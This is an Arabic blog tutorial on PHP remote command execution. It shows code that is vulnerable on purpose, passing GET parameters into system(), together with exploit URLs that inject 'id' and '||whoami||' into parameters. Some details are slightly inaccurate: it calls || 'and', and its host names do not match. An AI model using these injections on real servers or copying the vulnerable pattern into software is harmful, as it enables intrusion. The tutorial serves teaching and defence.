A Study in PHP Vulnerabilities - RCE

بسم الله الرحمن الرحيم

اللهم صل وسلم على سيدنا محمد وعلى آله وصحبه اجمعين

اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم

اليوم درسنا عن ثغرات


#Remote Command Execution


 

ثغرات الكوماند تعطيك الفرصة لتطبيق اوامر خارجية وتستخدم دوال عديدة منها 
       exec ~  Execute an external program
       passthru ~ Execute an external program and display raw output
       shell_exec ~ Execute command via shell and return the complete output as a string
       system ~ Execute an external program and display the output
وغيرها من الدوال الخطيرة 

 نشوف مثال 


         <?php
         $cmd=$_GET['cmd'];
         system($cmd);
         ?>
 
الان اي امر يتم تمريره عبر المتصفح يدخل في دالة system اللي هي بدورها تقوم بتنفيذ الامر 
 
نشوف الاستغلال لها كيف 
 
http://127.0.0.1/test.php?cmd=id
 
الان الامر id راح يتنفذ 
 
مثال اخر 
 
            $status = $_GET['status'];
            $ns  = $_GET['ns'];
            $host   = $_GET['host'];
            $query_type   = $_GET['query_type']; // ANY, MX, A , etc.
            $ip     = $_SERVER['REMOTE_ADDR'];
            $self   = $_SERVER['PHP_SELF'];
            ........................ etc ........................
            $host = trim($host);
            $host = strtolower($host);
            echo("<span class=\"plainBlue\"><b>Executing :                                    <u>dig @$ns $host $query_type</u> </b><br>");
            echo '<pre>';
            system ("dig @$ns $host $query_type");
 
الان لو استغلينا الكود السابق بالطريقة التالية 
 
http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
 
لان الاستعلام راح يصبح بالطريقة التالية 
 
dig whoami sirgod.com NS
 
ولكن نضع علامة || واللي تدل على "و" يعني تصير بالشكل التالي 
 
http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging
 
اللي يخلي الكود ينفذ الامر التالي
 
dig ||whoami|| sirgod.net NS
 
طريقة الاصلاح:
 
لاتعطي اليوزر صلاحيات لادخال اي مدخل للدوال السابقة من غير فلترة 
 
 
الى هنا ينتهي الدرس 
 
القاكم في دروس اخرى باذن الله      

تعليقات

المشاركات الشائعة من هذه المدونة

Html code injection-[Post-Get-StoredData!]-

CRLF injection [\r\n Carriage Return]